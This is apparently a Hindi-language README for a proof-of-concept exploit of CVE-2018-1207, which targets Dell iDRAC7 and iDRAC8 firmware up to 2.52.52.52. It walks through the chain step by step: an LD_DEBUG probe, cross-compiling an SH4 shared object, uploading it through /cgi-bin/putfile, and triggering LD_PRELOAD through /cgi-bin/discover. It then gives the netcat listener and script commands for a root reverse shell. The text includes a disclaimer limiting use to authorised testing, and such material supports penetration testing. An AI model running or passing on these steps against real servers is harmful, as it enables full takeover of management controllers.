
iDRAC 7 और 8 के लिए Reverse Shell CVE, फ़र्मवेयर 2.52.52.52 और उससे नीचे।
इस रिपॉजिटरी में एक Proof of Concept Python स्क्रिप्ट है जो iDRAC7 और iDRAC8 उपकरणों में फर्मवेयर संस्करण 2.52.52.52 और उससे नीचे वाले उपकरणों में मौजूद रिमोट कोड एक्जीक्यूशन शोषण को प्रदर्शित करती है। यह शोषण हमलों को root स्तर के उपयोगकर्ता के रूप में कोड चलाने की अनुमति देता है, जो पूर्ण सिस्टम अधिग्रहण का कारण बन सकता है। कोड में, हम शोषण का उपयोग करके रिवर्स शेल हमला चलाकर इसे दिखाते हैं। इस रिपॉजिटरी का कोड Michael Gargiullo (mgargiullo) द्वारा मूल शोषण का संपादित संस्करण है।
अस्वीकरण - यह कोड केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। आप इस स्क्रिप्ट का उपयोग उन उपकरणों पर हमला करने के लिए नहीं कर सकते जो आपके स्वामित्व में नहीं हैं या जिनके लिए आपके पास स्पष्ट, लिखित सहमति नहीं है। बिना उचित प्राधिकरण के इस स्क्रिप्ट का उपयोग करना अवैध है। इस उपकरण के द्वारा किसी भी दुरुपयोग या क्षति के लिए मैं जिम्मेदार नहीं हूँ। अनधिकृत उपयोग से गंभीर कानूनी परिणाम हो सकते हैं, जिसमें जुर्माना और जेल की सजा शामिल है।
?LD_DEBUG=files के साथ अनुरोध भेजकर करता है। यदि प्रतिक्रिया में डिबगिंग सामग्री शामिल है जो दिखाती है कि यह किस लाइब्रेरी फ़ाइल को लोड करने का प्रयास कर रहा है, तो हम जानते हैं कि यह असुरक्षित है।sh4-linux-gnu-gcc का उपयोग करके C कोड के साथ बनाई गई फ़ाइल को संकलित करते हैं। चूँकि iDRAC SuperH (SH4) प्रोसेसर आर्किटेक्चर पर चलता है, हमें कोड को एक साझा ऑब्जेक्ट (.so) में संकलित करने की आवश्यकता है ताकि इसे iDRAC द्वारा निष्पादित किया जा सके।/cgi-bin/putfile पर POST अनुरोध करके अपलोड कर सकते हैं, जो इसे /tmp/sshpkauthupload.tmp पर सहेजता है।/cgi-bin/discover पर ?LD_PRELOAD=/tmp/sshpkauthupload.tmp पैरामीटर के साथ एक और GET अनुरोध भेजते हैं। यह iDRAC को किसी भी अन्य लाइब्रेरी से पहले एक निर्दिष्ट लाइब्रेरी लोड करने के लिए मजबूर करता है, जो फिर /tmp/ निर्देशिका से संशोधित .so फ़ाइल को लोड करता है।constructor फ़ंक्शन में है, कोड लोड होने पर तुरंत चल जाता है, जिसके परिणामस्वरूप root उपयोगकर्ता (लिनक्स आधारित सिस्टम पर उच्चतम अनुमतियों वाला उपयोगकर्ता) के रूप में रिवर्स शेल प्राप्त होता है।स्क्रिप्ट चलाने से पहले, कृपया सुनिश्चित करें कि आपके पास निम्नलिखित हैं:
pip install requests के माध्यम से स्थापित किया जा सकता है)sudo apt install gcc-sh4-linux-gnu के माध्यम से स्थापित किया जा सकता है)इन आवश्यकताओं के बिना, आपको समस्याएँ होंगी और शोषण पूरी तरह से नहीं चल पाएगा! यह सुनिश्चित करने के लिए कोई जाँच नहीं है कि आपके पास ये आवश्यकताएँ पूरी हैं।
अपनी मशीन पर एक लिसनर शुरू करें ताकि रिवर्स शेल प्राप्त हो सके, इसके लिए netcat का उपयोग करें।
nc -lvnp <LPORT>
<LPORT> को उस पोर्ट से बदलें जिस पर आप सुनना चाहते हैं (जैसे 5000)।
आवश्यक तर्कों के साथ स्क्रिप्ट चलाएँ।
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: लक्ष्य iDRAC का IP पता।--rport: iDRAC वेब इंटरफ़ेस का पोर्ट (आमतौर पर 443)।--lhost: रिवर्स शेल को वापस कनेक्ट करने के लिए आपका स्थानीय IP पता।--lport: वह स्थानीय पोर्ट जिस पर Netcat लिसनर चल रहा है।--keep-payload: (वैकल्पिक) यदि सेट किया जाता है, तो स्क्रिप्ट निष्पादन के बाद आपकी मशीन से payload.c और payload.so को हटाएगी नहीं।हमलावर मशीन (IP: 192.168.1.100) - लिसनर शुरू करें।
nc -lvnp 5000
हमलावर की मशीन - 192.168.1.50 पर iDRAC को लक्षित करते हुए शोषण चलाएँ।
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
यदि सफल होता है, तो आपको अपने Netcat टर्मिनल में एक शेल सत्र प्राप्त होगा जहाँ आप racadm जैसे कमांड चला सकते हैं।